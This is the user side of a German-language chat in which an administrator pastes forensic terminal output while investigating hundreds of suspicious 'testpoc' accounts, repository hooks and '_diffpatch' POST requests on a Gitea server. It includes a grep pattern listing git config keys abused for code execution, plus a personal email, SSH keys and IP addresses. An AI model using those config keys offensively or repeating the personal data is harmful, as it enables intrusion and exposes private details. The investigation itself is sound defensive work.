3 admindc admindc 4.0K Sep 20 11:53 testpoc55201 +drwxr-xr-x 3 admindc admindc 4.0K Sep 20 15:49 testpoc52938 +drwxr-xr-x 3 admindc admindc 4.0K Sep 20 19:46 testpoc20554 +drwxr-xr-x 3 admindc admindc 4.0K Sep 20 23:42 testpoc85711 +drwxr-xr-x 3 admindc admindc 4.0K Sep 21 03:38 testpoc42804 +drwxr-xr-x 3 admindc admindc 4.0K Sep 21 07:33 testpoc69623 +drwxr-xr-x 3 admindc admindc 4.0K Sep 21 11:29 testpoc79949 +drwxr-xr-x 3 admindc admindc 4.0K Sep 21 15:25 testpoc98707 +drwxr-xr-x 3 admindc admindc 4.0K Sep 21 19:22 testpoc15104 +drwxr-xr-x 3 admindc admindc 4.0K Sep 21 23:19 testpoc32066 +drwxr-xr-x 3 admindc admindc 4.0K Sep 22 03:16 testpoc49698 +drwxr-xr-x 3 admindc admindc 4.0K Sep 22 07:13 testpoc63211 +drwxr-xr-x 3 admindc admindc 4.0K Sep 22 11:10 testpoc63173 +drwxr-xr-x 3 admindc admindc 4.0K Sep 22 15:07 testpoc55186 +drwxr-xr-x 3 admindc admindc 4.0K Sep 22 19:05 testpoc42437 +drwxr-xr-x 3 admindc admindc 4.0K Sep 22 23:02 testpoc82932 +drwxr-xr-x 3 admindc admindc 4.0K Sep 23 02:59 testpoc57923 +drwxr-xr-x 3 admindc admindc 4.0K Sep 23 06:56 testpoc13326 +drwxr-xr-x 3 admindc admindc 4.0K Sep 23 09:40 testpoc79896 +drwxr-xr-x 3 admindc admindc 4.0K Sep 23 10:29 testpoc38905 +drwxr-xr-x 3 admindc admindc 4.0K Sep 23 14:26 testpoc69930 +drwxr-xr-x 3 admindc admindc 4.0K Sep 23 18:22 testpoc95946 +drwxr-xr-x 3 admindc admindc 4.0K Sep 23 22:19 testpoc93288 +drwxr-xr-x 3 admindc admindc 4.0K Sep 24 02:15 testpoc90831 +drwxr-xr-x 3 admindc admindc 4.0K Sep 24 06:10 testpoc51788 +drwxr-xr-x 3 admindc admindc 4.0K Sep 24 10:05 testpoc63022 +drwxr-xr-x 268 admindc admindc 12K Sep 24 10:05 . +drwxr-xr-x 1622 admindc admindc 64K Sep 24 12:02 giteaa1337 +drwxr-xr-x 1630 admindc admindc 68K Sep 24 12:02 gitea1337 +´´´ + +Sind diese verdächtig? + +--- + +Hier sind die Ergebnisse von Schritt 3, 4 und 6 sowie der Blick in ein testpoc Repo: +``` +root@sv003 ~/docker/git # # Schritt 3 +root@sv003 ~/docker/git # docker exec -u git gitea gitea admin user list +ID Username Email IsActive IsAdmin 2FA +1 admin nix@no.de true true false +2 tlg tlg@nix.de true false false +3 llm llm@nix.de true false false +4 wbg wbg@nix.de true false false +5 n8n n8n@nix.de true false false +6 krtr krtr@nix.de true false false +7 try try@nix.de true false false +8 trf trf@nix.de true false false +9 ncd ncd@nix.de true false false +10 rdms Thomas.Langer@destengs.com true false false +11 pln No@nix.de true false false +12 mkt mkt@nix.no true false false +13 lwc lwc@nix.de true false false +14 wlfb wlfb@nix.no true false false +15 testpoc60874 testpoc91319@test.local true false false +16 testpoc29453 testpoc51901@test.local true false false +17 testpoc43268 testpoc62945@test.local true false false +18 testpoc12153 testpoc70731@test.local true false false +19 testpoc24197 testpoc51518@test.local true false false +20 testpoc85539 testpoc18172@test.local true false false +21 testpoc98694 testpoc85362@test.local true false false +22 testpoc78015 testpoc12874@test.local true false false +23 testpoc25390 testpoc11149@test.local true false false +24 testpoc92837 testpoc74432@test.local true false false +25 testpoc97168 testpoc16626@test.local true false false +26 testpoc82909 testpoc55517@test.local true false false +27 jujpqlugml qinvmrmq@immenseignite.info true false false +28 dqyywxkedt kqjsnrgy@immenseignite.info true false false +29 testpoc81407 testpoc37764@test.local true false false +30 testpoc84892 testpoc10432@test.local true false false +31 testpoc95017 testpoc98343@test.local true false false +32 testpoc87960 testpoc73548@test.local true false false +33 testpoc60504 testpoc84459@test.local true false false +34 testpoc25643 testpoc94109@test.local true false false +35 testpoc51520 testpoc77295@test.local true false false +36 testpoc56033 testpoc83028@test.local true false false +37 testpoc38666 testpoc54171@test.local true false false +38 testpoc93555 testpoc31520@test.local true false false +39 testpoc46919 testpoc95158@test.local true false false +40 testpoc30819 testpoc26694@test.local true false false +41 testpoc84143 testpoc66048@test.local true false false +42 testpoc37242 testpoc43037@test.local true false false +43 testpoc56949 testpoc79697@test.local true false false +44 testpoc69547 testpoc46357@test.local true false false +45 testpoc19409 testpoc75199@test.local true false false +46 testpoc45556 testpoc42945@test.local true false false +47 testpoc72460 testpoc62590@test.local true false false +48 testpoc24413 testpoc68769@test.local true false false +49 testpoc79954 testpoc17594@test.local true false false +50 testpoc73498 testpoc93018@test.local true false false +51 testpoc31492 testpoc97481@test.local true false false +52 testpoc84236 testpoc72245@test.local true false false +53 testpoc66853 testpoc11866@test.local true false false +54 testpoc96299 testpoc33830@test.local true false false +55 testpoc37593 testpoc50816@test.local true false false +56 testpoc36987 testpoc33219@test.local true false false +57 testpoc31664 testpoc71498@test.local true false false +58 testpoc40668 testpoc10962@test.local true false false +59 testpoc53151 testpoc24360@test.local true false false +60 testpoc69854 testpoc19442@test.local true false false +61 testpoc80023 testpoc30980@test.local true false false +62 gitea1337 gitea1337@test.local true false false +63 giteaa1337 giteaa1337@test.local true false false +64 testpoc77229 testpoc77108@test.local true false false +65 testpoc71873 testpoc31506@test.local true false false +66 testpoc17745 testpoc47546@test.local true false false +67 testpoc53823 testpoc51519@test.local true false false +68 testpoc66756 testpoc76453@test.local true false false +69 testpoc22616 testpoc66400@test.local true false false +70 testpoc27265 testpoc32399@test.local true false false +71 testpoc34412 testpoc66592@test.local true false false +72 testpoc85061 testpoc56610@test.local true false false +73 testpoc36190 testpoc69081@test.local true false false +74 testpoc73222 testpoc37006@test.local true false false +75 testpoc54227 testpoc73883@test.local true false false +76 testpoc46556 testpoc37889@test.local true false false +77 testpoc62541 testpoc58718@test.local true false false +78 testpoc61632 testpoc57477@test.local true false false +79 testpoc90545 testpoc58809@test.local true false false +80 testpoc61911 testpoc15016@test.local true false false +81 testpoc95111 testpoc44233@test.local true false false +82 testpoc78438 testpoc60733@test.local true false false +83 testpoc81170 testpoc48652@test.local true false false +84 testpoc86973 testpoc63967@test.local true false false +85 testpoc18093 testpoc68335@test.local true false false +86 testpoc34060 testpoc36523@test.local true false false +87 testpoc19522 testpoc86071@test.local true false false +88 testpoc39149 testpoc72559@test.local true false false +89 testpoc22320 testpoc23247@test.local true false false +90 testpoc34738 testpoc47744@test.local true false false +91 testpoc48807 testpoc90459@test.local true false false +92 testpoc68152 testpoc33960@test.local true false false +93 testpoc62114 testpoc94172@test.local true false false +94 testpoc79936 testpoc94596@test.local true false false +95 testpoc13243 testpoc91895@test.local true false false +96 testpoc69682 testpoc25547@test.local true false false +97 testpoc72852 testpoc79040@test.local true false false +98 testpoc15007 testpoc15130@test.local true false false +99 testpoc86124 testpoc52942@test.local true false false +100 testpoc11637 testpoc52896@test.local true false false +101 testpoc87910 testpoc59779@test.local true false false +102 testpoc82836 testpoc63572@test.local true false false +103 testpoc41185 testpoc67529@test.local true false false +104 testpoc98983 testpoc65721@test.local true false false +105 testpoc19606 testpoc74870@test.local true false false +106 testpoc23912 testpoc97447@test.local true false false +107 testpoc62773 testpoc20131@test.local true false false +108 testpoc78861 testpoc94953@test.local true false false +109 testpoc95173 testpoc53547@test.local true false false +110 testpoc40264 testpoc14913@test.local true false false +111 testpoc26934 testpoc34368@test.local true false false +112 testpoc73319 testpoc38817@test.local true false false +113 testpoc50454 testpoc52277@test.local true false false +114 testpoc19498 testpoc63822@test.local true false false +115 testpoc69640 testpoc80189@test.local true false false +116 testpoc97230 testpoc84402@test.local true false false +117 testpoc52394 testpoc21513@test.local true false false +118 testpoc40721 testpoc95208@test.local true false false +119 testpoc51551 testpoc84987@test.local true false false +120 testpoc27510 testpoc46568@test.local true false false +121 testpoc61382 testpoc76075@test.local true false false +122 testpoc18831 testpoc74098@test.local true false false +123 testpoc99091 testpoc12351@test.local true false false +124 testpoc86985 testpoc94876@test.local true false false +125 testpoc67871 testpoc81504@test.local true false false +126 testpoc76030 testpoc42139@test.local true false false +127 testpoc87311 testpoc24051@test.local true false false +128 testpoc50982 testpoc56698@test.local true false false +129 testpoc62120 testpoc19823@test.local true false false +130 testpoc22318 testpoc12134@test.local true false false +131 testpoc69014 testpoc36626@test.local true false false +132 testpoc37385 testpoc21630@test.local true false false +133 testpoc98701 testpoc45384@test.local true false false +134 testpoc98443 testpoc43338@test.local true false false +135 oehhhkluuj xeffdvvw@immenseignite.info true false false +136 testpoc61465 testpoc56776@test.local true false false +137 testpoc80725 testpoc28754@test.local true false false +138 testpoc89134 testpoc44254@test.local true false false +139 testpoc76121 testpoc98327@test.local true false false +140 testpoc75962 testpoc12683@test.local true false false +141 testpoc99832 testpoc35404@test.local true false false +142 testpoc55555 testpoc36879@test.local true false false +143 testpoc20107 testpoc33265@test.local true false false +144 testpoc83027 testpoc15826@test.local true false false +145 testpoc50212 testpoc46619@test.local true false false +146 testpoc33280 testpoc19156@test.local true false false +147 testpoc67515 testpoc68952@test.local true false false +148 testpoc59645 testpoc49581@test.local true false false +149 testpoc84414 testpoc68320@test.local true false false +150 testpoc22008 testpoc32423@test.local true false false +151 testpoc54612 testpoc53858@test.local true false false +152 testpoc70617 testpoc93985@test.local true false false +153 testpoc89149 testpoc24416@test.local true false false +154 testpoc12795 testpoc16841@test.local true false false +155 testpoc51398 testpoc19394@test.local true false false +156 testpoc87154 testpoc61850@test.local true false false +157 testpoc96091 testpoc36560@test.local true false false +158 testpoc94765 testpoc31750@test.local true false false +159 testpoc26027 testpoc82451@test.local true false false +160 testpoc51858 testpoc78710@test.local true false false +161 testpoc22861 testpoc38389@test.local true false false +162 testpoc90891 testpoc12868@test.local true false false +163 testpoc33139 testpoc11265@test.local true false false +164 testpoc13803 testpoc17569@test.local true false false +165 testpoc84488 testpoc29054@test.local true false false +166 testpoc11688 testpoc51653@test.local true false false +167 testpoc53646 testpoc24333@test.local true false false +168 testpoc68917 testpoc87626@test.local true false false +169 testpoc83437 testpoc52329@test.local true false false +170 testpoc54590 testpoc78511@test.local true false false +171 testpoc88044 testpoc89544@test.local true false false +172 testpoc17939 testpoc45839@test.local true false false +173 testpoc51371 testpoc55269@test.local true false false +174 testpoc40770 testpoc47947@test.local true false false +175 testpoc28859 testpoc13771@test.local true false false +176 testpoc22366 testpoc93610@test.local true false false +177 testpoc76660 testpoc86849@test.local true false false +178 testpoc10570 testpoc44477@test.local true false false +179 testpoc55506 testpoc69869@test.local true false false +180 testpoc87776 testpoc48515@test.local true false false +181 testpoc10705 testpoc33463@test.local true false false +182 testpoc26965 testpoc35616@test.local true false false +183 testpoc53126 testpoc82130@test.local true false false +184 testpoc33503 testpoc66802@test.local true false false +185 testpoc39441 testpoc45694@test.local true false false +186 testpoc56058 testpoc29722@test.local true false false +187 testpoc19144 testpoc74209@test.local true false false +188 testpoc39192 testpoc76212@test.local true false false +189 testpoc17058 testpoc93548@test.local true false false +190 testpoc63010 testpoc12628@test.local true false false +191 testpoc26355 testpoc83710@test.local true false false +192 testpoc66868 testpoc57878@test.local true false false +193 testpoc53078 testpoc20581@test.local true false false +194 testpoc63807 testpoc51243@test.local true false false +195 testpoc44807 testpoc98646@test.local true false false +196 testpoc32788 testpoc85407@test.local true false false +197 testpoc55027 testpoc70857@test.local true false false +198 testpoc75302 testpoc30448@test.local true false false +199 testpoc36916 testpoc59742@test.local true false false +200 testpoc55395 testpoc25538@test.local true false false +201 testpoc43177 testpoc20034@test.local true false false +202 testpoc20726 testpoc69851@test.local true false false +203 testpoc42534 testpoc39123@test.local true false false +204 testpoc38380 testpoc44179@test.local true false false +205 testpoc69572 testpoc61835@test.local true false false +206 testpoc80463 testpoc62925@test.local true false false +207 testpoc14211 testpoc69761@test.local true false false +208 testpoc86381 testpoc97251@test.local true false false +209 testpoc17722 testpoc44345@test.local true false false +210 testpoc96516 testpoc39198@test.local true false false +211 testpoc68930 testpoc30706@test.local true false false +212 testpoc75427 testpoc59485@test.local true false false +213 testpoc54842 testpoc81985@test.local true false false +214 testpoc97134 testpoc57952@test.local true false false +215 testpoc40496 testpoc98701@test.local true false false +216 testpoc12313 testpoc26241@test.local true false false +217 testpoc58970 testpoc27679@test.local true false false +218 testpoc55339 testpoc14738@test.local true false false +219 testpoc63044 testpoc44058@test.local true false false +220 testpoc27314 testpoc93711@test.local true false false +221 testpoc52384 testpoc79256@test.local true false false +222 testpoc35017 testpoc47402@test.local true false false +223 testpoc40339 testpoc29947@test.local true false false +224 testpoc39893 testpoc41939@test.local true false false +225 testpoc82705 testpoc19718@test.local true false false +226 testpoc50766 testpoc95042@test.local true false false +227 testpoc32746 testpoc70520@test.local true false false +228 testpoc87888 testpoc99043@test.local true false false +229 testpoc84074 testpoc51513@test.local true false false +230 testpoc57938 testpoc49775@test.local true false false +231 testpoc51346 testpoc59538@test.local true false false +232 testpoc39794 testpoc91984@test.local true false false +233 testpoc84743 testpoc61888@test.local true false false +234 testpoc49129 testpoc99765@test.local true false false +235 testpoc54626 testpoc41961@test.local true false false +236 testpoc40862 testpoc88415@test.local true false false +237 testpoc16652 testpoc71474@test.local true false false +238 testpoc13731 testpoc40602@test.local true false false +239 testpoc94819 testpoc66785@test.local true false false +240 testpoc84836 testpoc22580@test.local true false false +241 testpoc91160 testpoc11965@test.local true false false +242 testpoc69618 testpoc93819@test.local true false false +243 testpoc88367 testpoc23584@test.local true false false +244 testpoc36234 testpoc14362@test.local true false false +245 testpoc85733 testpoc96722@test.local true false false +246 testpoc55201 testpoc33956@test.local true false false +247 testpoc52938 testpoc64189@test.local true false false +248 testpoc20554 testpoc23459@test.local true false false +249 testpoc85711 testpoc98923@test.local true false false +250 testpoc42804 testpoc99726@test.local true false false +251 testpoc69623 testpoc39804@test.local true false false +252 testpoc79949 testpoc26872@test.local true false false +253 testpoc98707 testpoc69824@test.local true false false +254 testpoc15104 testpoc95108@test.local true false false +255 testpoc32066 testpoc72645@test.local true false false +256 testpoc49698 testpoc62019@test.local true false false +257 testpoc63211 testpoc36522@test.local true false false +258 testpoc63173 testpoc36838@test.local true false false +259 testpoc55186 testpoc47808@test.local true false false +260 testpoc42437 testpoc28482@test.local true false false +261 testpoc82932 testpoc60807@test.local true false false +262 testpoc57923 testpoc28851@test.local true false false +263 testpoc13326 testpoc33674@test.local true false false +264 testpoc79896 testpoc75723@test.local true false false +265 testpoc38905 testpoc25808@test.local true false false +266 testpoc69930 testpoc93166@test.local true false false +267 testpoc95946 testpoc16379@test.local true false false +268 testpoc93288 testpoc70088@test.local true false false +269 testpoc90831 testpoc70624@test.local true false false +270 testpoc51788 testpoc16537@test.local true false false +271 testpoc63022 testpoc51536@test.local true false false +root@sv003 ~/docker/git # docker exec -u git gitea gitea admin user list --admin +ID Username Email IsActive +1 admin nix@no.de true +``` + +Die Ergebnisse aus Schritt 4 sind so lang, dass sie den Terminal Screen Buffer überlaufen lassen. Sie sind als `Schritt-4-Output.txt` angehängt. + +``` +root@sv003 ~/docker/git # # Schritt 6 +root@sv003 ~/docker/git # cat /opt/appdata/gitea/git/.ssh/authorized_keys +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-1",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIADl9gVyC2c+a7qIZC6gXHgJydF12+9C663YIoT5i8q1 user-3 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINb/2AXFOth3xKRsYuBRtvmh0E2uqwVzc1zHPq8DfKzs user-5 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-3",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICx0bSfpi2SuVIz4O+5LeH1hMhyszsToEB2jdgcg7Dbk user-6 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-4",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMCof8cPzf55cAVSrjiYQnqRI+qFOaDr5jpew+lR8vwh user-9 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-5",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIConRKwtkavZhiK3CeRg7Wg9km9/DwOLskxOAuVmKOqX user-2 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-7",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMn/zN0Mtuzd9vsBlBL8VDJRoCuXVk98XFWFHVToCzId user-10 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-8",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBL9NaidAiMeTCzYwzGzpy9/dgHU7Nvgaa8qFx+RtSPd user-11 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-9",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIISCMKUXLatSVC7MURmS8Ra77C01Ne9JIGgg1wq/AaZW user-8 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-10",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPLyufFGuVLqhHmJQjpDmz3riLLknH9+5FgkeWWPExuO user-4 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-11",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGnoAhwz0z5gECYgcysPW011KtEqaKzOt6qOFPJNaCkA user-12 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-12",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILvPcc40YS0a5RdY6OhknE7tXRKUfdb2jut5eeNImsg+ user-13 +# gitea public key +command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-13",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM7z8bx+VD/lkJBkpRsx0xFPt4sECa5Ce9jd1/Dyl9dO user-14 +``` + +root@sv003 /opt/appdata/gitea/git/repositories # # Blick in ein testpoc-Repo +root@sv003 /opt/appdata/gitea/git/repositories # ls -la testpoc60874/*/hooks +total 96 +drwxr-xr-x 6 admindc admindc 4096 Aug 5 20:44 . +drwxr-xr-x 7 admindc admindc 4096 Aug 5 20:44 .. +-rwxr-xr-x 1 admindc admindc 478 Aug 5 20:44 applypatch-msg.sample +-rwxr-xr-x 1 admindc admindc 896 Aug 5 20:44 commit-msg.sample +-rwxr-xr-x 1 admindc admindc 376 Aug 5 20:44 post-receive +drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 post-receive.d +-rwxr-xr-x 1 admindc admindc 189 Aug 5 20:44 post-update.sample +-rwxr-xr-x 1 admindc admindc 424 Aug 5 20:44 pre-applypatch.sample +-rwxr-xr-x 1 admindc admindc 1649 Aug 5 20:44 pre-commit.sample +-rwxr-xr-x 1 admindc admindc 416 Aug 5 20:44 pre-merge-commit.sample +-rwxr-xr-x 1 admindc admindc 1492 Aug 5 20:44 prepare-commit-msg.sample +-rwxr-xr-x 1 admindc admindc 1374 Aug 5 20:44 pre-push.sample +-rwxr-xr-x 1 admindc admindc 4898 Aug 5 20:44 pre-rebase.sample +-rwxr-xr-x 1 admindc admindc 376 Aug 5 20:44 pre-receive +drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 pre-receive.d +-rwxr-xr-x 1 admindc admindc 544 Aug 5 20:44 pre-receive.sample +-rwxr-xr-x 1 admindc admindc 134 Aug 5 20:44 proc-receive +drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 proc-receive.d +-rwxr-xr-x 1 admindc admindc 2783 Aug 5 20:44 push-to-checkout.sample +-rwxr-xr-x 1 admindc admindc 2308 Aug 5 20:44 sendemail-validate.sample +-rwxr-xr-x 1 admindc admindc 356 Aug 5 20:44 update +drwxr-xr-x 2 admindc admindc 4096 Aug 5 20:44 update.d +-rwxr-xr-x 1 admindc admindc 3650 Aug 5 20:44 update.sample + +--- + +Bitte weniger auf einmal und mehr Erklärungen, du überforderst mich sonst. + +Hier die Ergebnisse der drei Prüfungen: + +``` +root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 1 +root@sv003 /opt/appdata/gitea/git/repositories # for h in pre-receive update post-receive proc-receive; do echo "== $h"; md5sum /opt/appdata/gitea/git/repositories/*/*.git/hooks/$h | awk '{print $1}' | sort | uniq -c; done == pre-receive + 3518 2d67fed6a447d2eb41535dc7fe514c3c +== update + 3518 f3947df1fd3dbe0f06185367c7997fc5 +== post-receive + 3518 2d67fed6a447d2eb41535dc7fe514c3c +== proc-receive + 3518 c65001fd6703334398ad122371538ae7 +``` + +``` +root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 2: Ergebnis zu lang für Terminal Screen Buffer +root@sv003 /opt/appdata/gitea/git/repositories # find /opt/appdata/gitea/git/repositories -path '*/hooks/*.d/*' -type f > Prüfung-2_Output.txt +``` + +``` +root@sv003 /opt/appdata/gitea/git/repositories # # Prüfung 3 +root@sv003 /opt/appdata/gitea/git/repositories # grep -rlE 'hooksPath|fsmonitor|sshCommand|core.pager|core.editor' /opt/appdata/gitea/git/repositories/*/*.git/config +root@sv003 /opt/appdata/gitea/git/repositories # +``` + +Für die Proxy Log-Suche brauche ich bitte das Kommando für einen Apache Reverse-Proxy. + +--- + +Kein Output: +``` +root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '_diffpatch' /var/log/apache2/*access*log* /var/log/httpd/*access*log* 2>/dev/null | awk '{print $1}' | sort | uniq -c | sort -rn | head +root@sv003 /opt/appdata/gitea/git/repositories # +``` + +--- + +root@sv003 /opt/appdata/gitea/git/repositories # zgrep -cH 'diffpatch' /var/log/apache2/*access*log* /var/log/httpd/*access*log* 2>/dev/null +/var/log/apache2/access.log:0 +/var/log/apache2/other_vhosts_access.log:0 +/var/log/apache2/other_vhosts_access.log.1:0 +/var/log/apache2/other_vhosts_access.log.10.gz:0 +/var/log/apache2/other_vhosts_access.log.11.gz:0 +/var/log/apache2/other_vhosts_access.log.12.gz:0 +/var/log/apache2/other_vhosts_access.log.13.gz:0 +/var/log/apache2/other_vhosts_access.log.14.gz:0 +/var/log/apache2/other_vhosts_access.log.2.gz:0 +/var/log/apache2/other_vhosts_access.log.3.gz:0 +/var/log/apache2/other_vhosts_access.log.4.gz:0 +/var/log/apache2/other_vhosts_access.log.5.gz:0 +/var/log/apache2/other_vhosts_access.log.6.gz:0 +/var/log/apache2/other_vhosts_access.log.7.gz:0 +/var/log/apache2/other_vhosts_access.log.8.gz:0 +/var/log/apache2/other_vhosts_access.log.9.gz:0 +/var/log/httpd/*access*log*:0 +root@sv003 /opt/appdata/gitea/git/repositories # + +--- + +root@sv003 /opt/appdata/gitea/git/repositories # zgrep -cHE 'testpoc|1337|sign_up' /var/log/apache2/other_vhosts_access.log* +/var/log/apache2/other_vhosts_access.log:546 +/var/log/apache2/other_vhosts_access.log.1:1187 +/var/log/apache2/other_vhosts_access.log.10.gz:1236 +/var/log/apache2/other_vhosts_access.log.11.gz:1092 +/var/log/apache2/other_vhosts_access.log.12.gz:937 +/var/log/apache2/other_vhosts_access.log.13.gz:1428 +/var/log/apache2/other_vhosts_access.log.14.gz:1231 +/var/log/apache2/other_vhosts_access.log.2.gz:1230 +/var/log/apache2/other_vhosts_access.log.3.gz:1299 +/var/log/apache2/other_vhosts_access.log.4.gz:1206 +/var/log/apache2/other_vhosts_access.log.5.gz:1172 +/var/log/apache2/other_vhosts_access.log.6.gz:1318 +/var/log/apache2/other_vhosts_access.log.7.gz:1274 +/var/log/apache2/other_vhosts_access.log.8.gz:1187 +/var/log/apache2/other_vhosts_access.log.9.gz:1207 +root@sv003 /opt/appdata/gitea/git/repositories # + +--- + +root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h 'testpoc' /var/log/apache2/other_vhosts_access.log* | awk '{print $6, $7}' | sed -E 's#testpoc[0-9]+#testpocN#; s#poc-[0-9]+#poc-N#; s#\?.*##' | sort | uniq -c | sort -rn | head -50 +root@sv003 /opt/appdata/gitea/git/repositories # + +--- + +root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '"POST' /var/log/apache2/other_vhosts_access.log* | awk '{print $6, $7}' | sed -E 's#[0-9]+#N#g; s#\?.*##' | sort | uniq -c | sort -rn | head -30 + 113136 +N] "POST +root@sv003 /opt/appdata/gitea/git/repositories # + +--- + +root@sv003 /opt/appdata/gitea/git/repositories # zgrep -h '"POST' /var/log/apache2/other_vhosts_access.log* | awk '{print $7, $8}' | sed -E 's#[0-9]+#N#g; s#\?.*##' | sort | uniq -c | sort -rn | head -30 + 78381 "POST /xmlrpc.php + 13767 "POST /wp-login.php + 7320 "POST //wp-login.php + 2628 "POST / + 930 "POST /wp-cron.php + 754 "POST //xmlrpc.php + 657 "POST /wp-json/batch/vN + 480 "POST /wp/ + 459 "POST /wordpress/ + 432 "POST /index.php + 427 "POST /blog/ + 320 "POST /wp/index.php + 307 "POST /wordpress/index.php + 292 "POST /wordpress/wp-json/batch/vN + 286 "POST /blog/index.php + 280 "POST /blog/wp-json/batch/vN + 160 "POST /wp/wp-json/batch/vN/ + 160 "POST /wp/wordpress/wp-json/batch/vN + 160 "POST /wp/blog/wp-json/batch/vN + 159 "POST /wp/wp-json/batch/vN + 158 "POST /wp//wp-json/batch/vN + 157 "POST /wp/wp-json/Batch/vN + 154 "POST /wordpress/wp-json/Batch/vN + 154 "POST /wordpress/wp-json/batch/vN/ + 154 "POST /wordpress//wp-json/batch/vN + 154 "POST /wordpress/wordpress/wp-json/batch/vN + 154 "POST /wordpress/blog/wp-json/batch/vN + 142 "POST /blog/wp-json/Batch/vN + 142 "POST /blog/wp-json/batch/vN/ + 142 "POST /blog//wp-json/batch/vN +root@sv003 /opt/appdata/gitea/git/repositories # + +--- + +root@sv003 /home/svn # zcat -f /var/log/apache2/other_vhosts_access.log* | awk '{print $1}' | sort | uniq -c | sort -rn | head + 175445 destengs.com:443 + 143223 destengs.de:443 + 54077 destengs.com:80 + 24393 destengs.de:80 + 14 sv003.destengs.com:80 +root@sv003 /home/svn # + +--- + +root@sv003 /home/svn # zcat -f /var/log/apache2/other_vhosts_access.log* | grep -E 'api/v1|git-upload-pack|git-receive-pack|/user/login' | awk '{print $1}' | sort | uniq -c | sort -rn + 450 destengs.com:443 + 219 destengs.de:443 + 84 destengs.com:80 +root@sv003 /home/svn # + +--- + +root@sv003 /home/svn # grep -rn '8084' /etc/apache2/ +/etc/apache2/sites-available/git.destengs.com.conf:39: BalancerMember http://127.0.0.1:8084 +/etc/apache2/sites-available/git.destengs.com.conf:88: BalancerMember http://127.0.0.1:8084 +root@sv003 /home/svn # + +--- + +root@sv003 /home/svn # grep -nE 'ServerName|CustomLog|ErrorLog' /etc/apache2/sites-available/git.destengs.com.conf +3: ServerName git.destengs.com +9: ErrorLog /var/log/virtualmin/git.destengs.com_error_log +10: CustomLog /var/log/virtualmin/git.destengs.com_access_log combined +46: ServerName git.destengs.com +52: ErrorLog /var/log/virtualmin/git.destengs.com_error_log +53: CustomLog /var/log/virtualmin/git.destengs.com_access_log combined +root@sv003 /home/svn # + +--- + +root@sv003 /home/svn # zgrep -cH 'diffpatch' /var/log/virtualmin/git.destengs.com_access_log* +/var/log/virtualmin/git.destengs.com_access_log:729 +/var/log/virtualmin/git.destengs.com_access_log.1.gz:1124 +/var/log/virtualmin/git.destengs.com_access_log.2.gz:265 +/var/log/virtualmin/git.destengs.com_access_log.3.gz:891 +/var/log/virtualmin/git.destengs.com_access_log.4.gz:2407 +/var/log/virtualmin/git.destengs.com_access_log.5.gz:2589 +root@sv003 /home/svn # + +--- + +Hier erstmal das Ergebnis deiner Code-Zeile: +``` +root@sv003 /home/svn # zcat -f /var/log/virtualmin/git.destengs.com_access_log* | grep 'diffpatch' | awk '{print $1, $9}' | sort | uniq -c | sort -rn | head -20 + 2112 103.13.206.65 201 + 1454 172.234.102.123 201 + 1118 138.199.60.33 201 + 1045 192.53.122.108 201 + 371 138.199.60.39 201 + 360 74.7.241.12 303 + 278 107.172.58.36 201 + 246 216.73.217.135 303 + 246 216.73.217.135 200 + 190 74.7.243.192 303 + 162 23.94.216.234 201 + 53 74.7.227.174 303 + 48 93.123.109.101 303 + 48 172.234.102.123 502 + 41 213.209.159.133 303 + 41 213.209.159.133 200 + 38 138.199.60.33 502 + 26 74.7.227.170 303 + 21 192.53.122.108 502 + 19 74.7.227.17 303 +root@sv003 /home/svn # +``` + +Ja, bitte 